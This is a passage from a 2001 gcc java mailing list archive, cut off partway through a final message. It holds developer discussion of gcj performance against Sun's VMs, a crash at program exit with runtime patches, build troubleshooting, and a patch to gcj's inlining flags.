wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 793223; Wed, 25 Jul 2001 23:36:17 -0700 Message-ID: <3B5FBB3C.6010102@wireless-networks.com> Date: Wed, 25 Jul 2001 23:39:56 -0700 From: Cedric Berger User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010628 X-Accept-Language: en-us MIME-Version: 1.0 To: Van Nguyen CC: Jeff Sturm , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: <3B5FA358.66DD981E@hotmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Van Nguyen wrote: >Hi Jeff, > >My problem was I didn't realize I can use the same optimization options on gcj. >So it was run without any optimizations. I tried the optimizers you used, and >got 25400 iterations out of Sieve. And it beats Java Hotspot. > Have you tried both hotspot "-client" and "-server"? Cedric > > >Thanks for the reply. > >Van > >Jeff Sturm wrote: > From java-return-6613-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 09:03:46 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26604 invoked by alias); 26 Jul 2001 09:03:45 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26563 invoked from network); 26 Jul 2001 09:03:39 -0000 Received: from unknown (HELO goliath.siemens.de) (194.138.37.131) by sourceware.cygnus.com with SMTP; 26 Jul 2001 09:03:39 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer goliath.siemens.de) Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14]) by goliath.siemens.de (8.11.1/8.11.1) with ESMTP id f6Q93Yb08041 for ; Thu, 26 Jul 2001 11:03:34 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail3.siemens.de (8.11.4/8.11.4) with ESMTP id f6Q93XI28697691 for ; Thu, 26 Jul 2001 11:03:34 +0200 (MEST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6Q93XP07954 for ; Thu, 26 Jul 2001 11:03:33 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA02287 for java@gcc.gnu.org; Thu, 26 Jul 2001 11:03:32 +0200 Date: Thu, 26 Jul 2001 11:03:32 +0200 From: Martin Kahlert To: java@gcc.gnu.org Subject: Problem in 3.0.1? Message-ID: <20010726110332.A2279@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Hi! I assume there is a problem in the 20010716 snapshot: My app runs successfully to end, but then it aborts. I tried to produce a smaller testcase but did not succeed. The main app is linked with libefence and (up to now) successfully uses JNI but not its invocation API. This is the stack trace: #0 0x400208f2 in memalign () from /usr/lib/libefence.so.0 #1 0x40020e76 in malloc () from /usr/lib/libefence.so.0 #2 0x40154ca2 in _Jv_Malloc (size=4) at ../../../libjava/prims.cc:960 #3 0x4016dd70 in _Jv_PrepareConstantTimeTables(java::lang::Class*) (klass=0x40316fc0) at ../../../libjava/java/lang/natClass.cc:1060 #4 0x4016d468 in java::lang::Class::initializeClass() (this=0x40316fc0) at ../../../libjava/java/lang/natClass.cc:704 #5 0x40285e8b in _Jv_InitClass (klass=0x40316fc0) at ../../../libjava/java/lang/Class.h:256 #6 0x401e11ff in gnu.gcj.runtime.FileDeleter.deleteOnExitNow() () at ../../../libjava/gnu/gcj/runtime/FileDeleter.java:27 #7 0x401715d3 in java::lang::Runtime::_exit(int) (this=0x89b5e40, status=0) at ../../../libjava/java/lang/natRuntime.cc:95 #8 0x40154a36 in JvRunMain (klass=0x86619a0, argc=3, argv=0xbffff2c4) at ../../../libjava/prims.cc:863 #9 0x081c7163 in main () #10 0x4049da4e in __libc_start_main (main=0x81c7140
, argc=3, argv=0xbffff2c4, init=0x81c5640 <_init>, fini=0x8590530 <_fini>, rtld_fini=0x4000aa20 <_dl_fini>, stack_end=0xbffff2bc) at ../sysdeps/generic/libc-start.c:92 Any ideas, where this could come from? I assume, it tries to initialize FileDeleter::deleteOnExitStack in order to check if it is null or something like that. Thanks in advance Martin. PS: I use the following patches to make my app work at all. Since this week there was no snapshot, i do not know wether any of these patches is already included in 3.0.1. 2001-07-13 Martin Kahlert * java/lang/natClass.cc: Move calls of _Jv_InitClass from java::lang::Class::isAssignableFrom and java::lang::Class::isInstance into _Jv_IsAssignableFrom 2001-05-09 Martin Kahlert * jni.cc (_Jv_JNI_NewLocalRef): Search next frame, if we could not find free slot in this one. Fixes infinite loop. 2001-05-04 Martin Kahlert * prims.cc (JvRunMain): Make sure, that runtime has been initialized before main_thread is started 2001-05-03 Tom Tromey * java/lang/natRuntime.cc (init): Call add_library on the program itself. (_Jv_FindSymbolInExecutable): Return NULL if no library on the list has the symbol. diff -rc gcc-20010716.orig/libjava/java/lang/natClass.cc gcc-20010716/libjava/java/lang/natClass.cc *** gcc-20010716.orig/libjava/java/lang/natClass.cc Tue Jun 5 11:56:10 2001 --- gcc-20010716/libjava/java/lang/natClass.cc Tue Jul 17 12:38:04 2001 *************** *** 624,632 **** jboolean java::lang::Class::isAssignableFrom (jclass klass) { - // Arguments may not have been initialized, given ".class" syntax. - _Jv_InitClass (this); - _Jv_InitClass (klass); return _Jv_IsAssignableFrom (this, klass); } --- 624,629 ---- *************** *** 635,641 **** { if (! obj) return false; - _Jv_InitClass (this); return _Jv_IsAssignableFrom (this, JV_CLASS (obj)); } --- 632,637 ---- *************** *** 909,914 **** --- 905,914 ---- jboolean _Jv_IsAssignableFrom (jclass target, jclass source) { + // Arguments may not have been initialized, given ".class" syntax. + _Jv_InitClass (target); + _Jv_InitClass (source); + if (source == target) return true; diff -rc gcc-20010716.orig/libjava/java/lang/natRuntime.cc gcc-20010716/libjava/java/lang/natRuntime.cc *** gcc-20010716.orig/libjava/java/lang/natRuntime.cc Mon Mar 12 08:33:57 2001 --- gcc-20010716/libjava/java/lang/natRuntime.cc Tue Jul 17 12:38:04 2001 *************** *** 69,75 **** return r; } ! return lt_dlsym (NULL, symname); } #endif /* USE_LTDL */ --- 69,75 ---- return r; } ! return NULL; } #endif /* USE_LTDL */ *************** *** 191,196 **** --- 191,199 ---- finalize_on_exit = false; #ifdef USE_LTDL lt_dlinit (); + lt_dlhandle self = lt_dlopen (NULL); + if (self != NULL) + add_library (self); #endif } diff -rc gcc-20010716.orig/libjava/jni.cc gcc-20010716/libjava/jni.cc *** gcc-20010716.orig/libjava/jni.cc Thu May 3 18:55:34 2001 --- gcc-20010716/libjava/jni.cc Tue Jul 17 12:38:04 2001 *************** *** 281,296 **** // Try to find an open slot somewhere in the topmost frame. _Jv_JNI_LocalFrame *frame = env->locals; bool done = false, set = false; ! while (frame != NULL && ! done) { for (int i = 0; i < frame->size; ++i) ! if (frame->vec[i] == NULL) ! { ! set = true; ! done = true; ! frame->vec[i] = obj; ! break; ! } } if (! set) --- 281,303 ---- // Try to find an open slot somewhere in the topmost frame. _Jv_JNI_LocalFrame *frame = env->locals; bool done = false, set = false; ! for (; frame != NULL && ! done; frame = frame->next) { for (int i = 0; i < frame->size; ++i) ! { ! if (frame->vec[i] == NULL) ! { ! set = true; ! done = true; ! frame->vec[i] = obj; ! break; ! } ! } ! ! // If we found a slot, or if the frame we just searched is the ! // mark frame, then we are done. ! if (done || frame->marker != MARK_NONE) ! break; } if (! set) diff -rc gcc-20010716.orig/libjava/prims.cc gcc-20010716/libjava/prims.cc *** gcc-20010716.orig/libjava/prims.cc Sun May 20 18:24:40 2001 --- gcc-20010716/libjava/prims.cc Tue Jul 17 12:38:04 2001 *************** *** 849,860 **** arg_vec = JvConvertArgv (argc - 1, argv + 1); main_thread = new gnu::gcj::runtime::FirstThread (klass, arg_vec); main_thread->start(); _Jv_ThreadWait (); int status = (int) java::lang::ThreadGroup::had_uncaught_exception; ! ! java::lang::Runtime::getRuntime ()->_exit (status); } void --- 849,866 ---- arg_vec = JvConvertArgv (argc - 1, argv + 1); main_thread = new gnu::gcj::runtime::FirstThread (klass, arg_vec); + /* Initialize Runtime before we start the main_thread. + * * This ensures, that the libraries are initialized even + * * if the main class contains native JNI methods, which were + * * statically linked into the executable */ + java::lang::Runtime *rt = java::lang::Runtime::getRuntime (); + main_thread->start(); _Jv_ThreadWait (); int status = (int) java::lang::ThreadGroup::had_uncaught_exception; ! ! rt->_exit (status); } void -- The early bird catches the worm. If you want something else for breakfast, get up later. From java-return-6614-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 10:31:43 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30923 invoked by alias); 26 Jul 2001 10:31:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30305 invoked from network); 26 Jul 2001 10:30:20 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 26 Jul 2001 10:30:20 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id F411FABAA1; Thu, 26 Jul 2001 11:30:18 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6QAUH014841; Thu, 26 Jul 2001 11:30:17 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15199.61753.489795.214467@cuddles.cambridge.redhat.com> Date: Thu, 26 Jul 2001 11:30:17 +0100 (BST) To: Jeff Sturm Cc: Cedric Berger , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: References: <3B5F6695.8000400@wireless-networks.com> X-Mailer: VM 6.75 under Emacs 20.7.1 Jeff Sturm writes: > > > On Wed, 25 Jul 2001, Cedric Berger wrote: > > Are you running hotspot (the default in 1.3)? > > I don't think so. 1.2.2 is what was known as the "Solaris > Production VM". It has a JIT and generational GC, however it is > unrelated to Hotspot AFAIK. I thought hotspot only optimized if you called th same function many times. That's not happening here. Andrew. From java-return-6615-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 11:28:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16453 invoked by alias); 26 Jul 2001 11:28:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16339 invoked from network); 26 Jul 2001 11:27:30 -0000 Received: from unknown (HELO eos.dk) (62.242.69.42) by sourceware.cygnus.com with SMTP; 26 Jul 2001 11:27:30 -0000 Received: (qmail 24315 invoked from network); 26 Jul 2001 11:27:27 -0000 Received: from genki.eos.dk (HELO trifork.com) (10.0.0.135) by eos.dk with SMTP; 26 Jul 2001 11:27:27 -0000 Message-ID: <3B6019D2.3060207@trifork.com> Date: Thu, 26 Jul 2001 15:23:30 +0200 From: Kresten Krab Thorup User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.2-2 i686; en-US; rv:0.9.1) Gecko/20010622 X-Accept-Language: en-us MIME-Version: 1.0 To: Andrew Haley CC: Jeff Sturm , Cedric Berger , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: <3B5F6695.8000400@wireless-networks.com> <15199.61753.489795.214467@cuddles.cambridge.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Andrew Haley wrote: >Jeff Sturm writes: > > On Wed, 25 Jul 2001, Cedric Berger wrote: > > > Are you running hotspot (the default in 1.3)?> > > I don't think so. 1.2.2 is what was known as the "Solaris > > Production VM". It has a JIT and generational GC, however it is > > unrelated to Hotspot AFAIK. > >I thought hotspot only optimized if you called th same function many >times. That's not happening here. > The "Solaris production VM" is actually rather advanced, with dynamic compilation and exact garbage collection (it was also known under the name, ExactVM). At some point however, it was decided to go with HotSpot, because it was easier to maintain from what I hear. For several cases it was more efficient that hotspot, and there was a heavy debate inside Sun on which VM to go forward with. Ole Agesen (now with VM Ware) was in charge of the ExactVM effort, while Lars Bak was in charge of HotSpot. Several of the optimizations now used in hotspot was invented by the ExactVM team, e.g. techniques for on-stack code replacement; and efficient synchronization. HotSpot can do such things as in-place loop unrolling, while the loop is being run. Kresten From java-return-6616-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 11:40:21 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20184 invoked by alias); 26 Jul 2001 11:40:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20164 invoked from network); 26 Jul 2001 11:40:19 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 26 Jul 2001 11:40:19 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6QBg7W22899; Thu, 26 Jul 2001 23:42:07 +1200 Message-ID: <3B60025F.2D678F28@waitaki.otago.ac.nz> Date: Thu, 26 Jul 2001 23:43:27 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Nic Ferrier CC: tromey@redhat.com, java@gcc.gnu.org Subject: Re: Frustrated (with builds) of Tunbridge Wells References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Nic Ferrier wrote: > Everything seems to build and install ok but the built gij doesn't > actually do anything, it just sits there... mute. I had a really wack problem the other day with this symptom, turned out to be looping forever in the EH Unwinder somewhere. I think it was due to a libgcc mismatch or something, since when I deleted all my installed gcc3 trees and rebuilt from scratch it went away. > It doesn't seem to load classes, it certainly doesn't execute them. Try running gij in gdb and hitting ctrl-C after a few seconds, then get a breakpoint to try and figure out where the problem is. It seems to be working fine for me now btw, although there is currently a known problem with stack traces for uncaught exceptions in the main thread atm. I have a fix in mind for that but havn't got around to implementing it yet. regards Bryce. From java-return-6617-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 11:43:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20902 invoked by alias); 26 Jul 2001 11:43:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20880 invoked from network); 26 Jul 2001 11:43:27 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 26 Jul 2001 11:43:27 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6QBjJW22917; Thu, 26 Jul 2001 23:45:20 +1200 Message-ID: <3B60031F.224FDF3A@waitaki.otago.ac.nz> Date: Thu, 26 Jul 2001 23:46:40 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Nic Ferrier , tromey@redhat.com, java@gcc.gnu.org Subject: Re: Frustrated (with builds) of Tunbridge Wells References: <3B60025F.2D678F28@waitaki.otago.ac.nz> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Bryce McKinlay wrote: > Try running gij in gdb and hitting ctrl-C after a few seconds, then > get a breakpoint to try and figure out where the problem is. ^^ stack trace Bryce. From java-return-6618-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 16:18:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25453 invoked by alias); 26 Jul 2001 16:18:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25392 invoked from network); 26 Jul 2001 16:18:26 -0000 Received: from unknown (HELO gemma.TechFak.Uni-Bielefeld.DE) (129.70.136.103) by sourceware.cygnus.com with SMTP; 26 Jul 2001 16:18:26 -0000 Received: from xayide.TechFak.Uni-Bielefeld.DE (xayide.TechFak.Uni-Bielefeld.DE [129.70.137.35]) by gemma.TechFak.Uni-Bielefeld.DE (8.9.1/8.9.1/TechFak/pk+ro20010720) with ESMTP id SAA14825; Thu, 26 Jul 2001 18:18:21 +0200 (MET DST) Received: by xayide.TechFak.Uni-Bielefeld.DE (8.10.2+Sun/pk19971205) id f6QGILN01432; Thu, 26 Jul 2001 18:18:21 +0200 (MEST) To: David Edelsohn Cc: Tom Tromey , java@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: GCC 3.0 branch Java iconv linking problems References: <200107252157.RAA26084@makai.watson.ibm.com> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII From: Rainer Orth Date: 26 Jul 2001 18:18:20 +0200 In-Reply-To: David Edelsohn's message of "Wed, 25 Jul 2001 17:57:58 -0400" Message-ID: Lines: 19 X-Mailer: Gnus v5.6.44/Emacs 19.34 David Edelsohn writes: > I think the following definition of LIBICONV in Makefile.in is > necessary for the recent iconv change to be correct. Right. The same patch is required to return GCC to bootstrap land on Tru64 UNIX http://gcc.gnu.org/ml/gcc-patches/2001-07/msg01381.html but still hasn't been reviewed ;-( Rainer -- ----------------------------------------------------------------------------- Rainer Orth, Faculty of Technology, Bielefeld University Email: ro@TechFak.Uni-Bielefeld.DE From java-return-6619-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 16:26:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29592 invoked by alias); 26 Jul 2001 16:26:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28553 invoked from network); 26 Jul 2001 16:24:54 -0000 Received: from unknown (HELO igw3.watson.ibm.com) (198.81.209.18) by sourceware.cygnus.com with SMTP; 26 Jul 2001 16:24:54 -0000 Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f6QGOG713800; Thu, 26 Jul 2001 12:24:16 -0400 Received: from makai.watson.ibm.com (makai.watson.ibm.com [9.2.216.144]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id MAA12052; Thu, 26 Jul 2001 12:24:16 -0400 Received: from watson.ibm.com (localhost [127.0.0.1]) by makai.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) with ESMTP id MAA20646; Thu, 26 Jul 2001 12:24:16 -0400 Message-Id: <200107261624.MAA20646@makai.watson.ibm.com> To: Rainer Orth cc: Tom Tromey , java@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: GCC 3.0 branch Java iconv linking problems In-Reply-To: Message from Rainer Orth of "26 Jul 2001 18:18:20 +0200." Date: Thu, 26 Jul 2001 12:24:15 -0400 From: David Edelsohn >>>>> Rainer Orth writes: Rainer> David Edelsohn writes: >> I think the following definition of LIBICONV in Makefile.in is >> necessary for the recent iconv change to be correct. Rainer> Right. The same patch is required to return GCC to bootstrap land on Tru64 Rainer> UNIX Rainer> http://gcc.gnu.org/ml/gcc-patches/2001-07/msg01381.html Rainer> but still hasn't been reviewed ;-( Well this is totally ridiculous. I am approving this as obviously correct and going to commit it on both the trunk and the branch. GCC should not remains broken for this long. If we need a more complicated patch for -I and -L, we can address that later as further refinements. Normally iconv is supplied by the system, so the header file and library are in the default paths. David From java-return-6620-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 17:08:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16130 invoked by alias); 26 Jul 2001 17:08:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15943 invoked from network); 26 Jul 2001 17:07:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 26 Jul 2001 17:07:10 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA17248; Thu, 26 Jul 2001 11:06:56 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA21588; Thu, 26 Jul 2001 11:33:47 -0600 To: Van Nguyen Cc: Jeff Sturm , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: <3B5FA358.66DD981E@hotmail.com> X-Zippy: Give them RADAR-GUIDED SKEE-BALL LANES and VELVEETA BURRITOS!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 26 Jul 2001 11:33:46 -0600 In-Reply-To: Van Nguyen's message of "Wed, 25 Jul 2001 21:58:00 -0700" Message-ID: <87g0bjwq6d.fsf@creche.redhat.com> Lines: 14 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Van" == Van Nguyen writes: Van> My problem was I didn't realize I can use the same optimization Van> options on gcj. So it was run without any optimizations. I Van> tried the optimizers you used, and got 25400 iterations out of Van> Sieve. And it beats Java Hotspot. Be warned that gcc without -O generates really bad code. If you are running performance tests, always use at least -O1. -O2 is probably better. Often, -O3 can give worse results than -O2, though, because (I hear) it inlines too aggressively (perhaps not a problem for Java, where inlining is still not quite there). Tom From java-return-6621-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 18:24:37 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19083 invoked by alias); 26 Jul 2001 18:24:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19035 invoked from network); 26 Jul 2001 18:24:32 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 26 Jul 2001 18:24:32 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id OAA31879; Thu, 26 Jul 2001 14:36:40 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Thu, 26 Jul 2001 14:36:40 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Andrew Haley cc: Cedric Berger , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <15199.61753.489795.214467@cuddles.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 26 Jul 2001, Andrew Haley wrote: > I thought hotspot only optimized if you called th same function many > times. That's not happening here. I don't know about hotspot, but for ExactVM (thanks to Kresten for the other name I forgot) I tried ten iterations of runSieve from main. It didn't make a significant difference. I'm not too surprised that gcj can win this benchmark since the main loops contains no method calls. On many benchmarks I've tried, gcj is slightly handicapped by dynamic linking alone. Jeff From java-return-6622-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 19:19:43 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10805 invoked by alias); 26 Jul 2001 19:19:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 10766 invoked from network); 26 Jul 2001 19:19:39 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 26 Jul 2001 19:19:39 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id PAA00339; Thu, 26 Jul 2001 15:31:53 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Thu, 26 Jul 2001 15:31:53 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Tom Tromey cc: Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <87g0bjwq6d.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 26 Jul 2001, Tom Tromey wrote: > If you are running performance tests, always use at least -O1. > -O2 is probably better. Often, -O3 can give worse results than -O2, > though, because (I hear) it inlines too aggressively (perhaps not a > problem for Java, where inlining is still not quite there). True. Gcj has a different problem: every private/static/final method is declared DECL_INLINE. That may not always do what you want. I built one application library at -O0, -O2 and -O3 with the patch below, and at -O2 unpatched for comparison. text data bss dec hex filename 1659369 247180 704 1907253 1d1a35 libjacl-O0.so 2474525 243612 704 2718841 297c79 libjacl-O2-unpatched.so 1354881 237836 704 1593421 18504d libjacl-O2.so 1418826 236272 704 1655802 1943fa libjacl-O3.so With the patch -O2 yields the smallest binary, and -O3 slightly larger. That's what I expect. But the unpatched gcj nearly doubles the text size at -O2. The library built with -O3 executes fastest on my tests. I'd be inclined to omit DECL_INLINE in the frontend and let the integrator use its best judgement, at least until we have tree inlining with decent heuristics. Of course one application on one platform isn't a good data set. Comments? Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.100 diff -u -r1.100 class.c --- class.c 2001/06/27 20:38:20 1.100 +++ class.c 2001/07/26 19:15:45 @@ -674,16 +674,16 @@ if (access_flags & ACC_PUBLIC) METHOD_PUBLIC (fndecl) = 1; if (access_flags & ACC_PROTECTED) METHOD_PROTECTED (fndecl) = 1; if (access_flags & ACC_PRIVATE) - METHOD_PRIVATE (fndecl) = DECL_INLINE (fndecl) = 1; + METHOD_PRIVATE (fndecl) = 1; if (access_flags & ACC_NATIVE) { METHOD_NATIVE (fndecl) = 1; DECL_EXTERNAL (fndecl) = 1; } if (access_flags & ACC_STATIC) - METHOD_STATIC (fndecl) = DECL_INLINE (fndecl) = 1; + METHOD_STATIC (fndecl) = 1; if (access_flags & ACC_FINAL) - METHOD_FINAL (fndecl) = DECL_INLINE (fndecl) = 1; + METHOD_FINAL (fndecl) = 1; if (access_flags & ACC_SYNCHRONIZED) METHOD_SYNCHRONIZED (fndecl) = 1; if (access_flags & ACC_ABSTRACT) METHOD_ABSTRACT (fndecl) = 1; if (access_flags & ACC_TRANSIENT) METHOD_TRANSIENT (fndecl) = 1; From java-return-6623-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 23:52:35 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7609 invoked by alias); 26 Jul 2001 23:52:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7575 invoked from network); 26 Jul 2001 23:52:31 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 26 Jul 2001 23:52:31 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id QAA17647; Thu, 26 Jul 2001 16:52:05 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6QNqTh20754; Thu, 26 Jul 2001 16:52:29 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Thu, 26 Jul 2001 16:52:28 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id ; Thu, 26 Jul 2001 16:52:28 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F6B@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Jeff Sturm'" , "Boehm, Hans" Cc: Tom Tromey , Bryce McKinlay , java@gcc.gnu.org Subject: RE: Synchronization article on developerWorks Date: Thu, 26 Jul 2001 16:52:27 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > From: Jeff Sturm [mailto:jsturm@one-point.com] > Last I checked, linuxthreads didn't spin on a mutex... after one > test_and_set failure it falls into a nanosleep. That may > 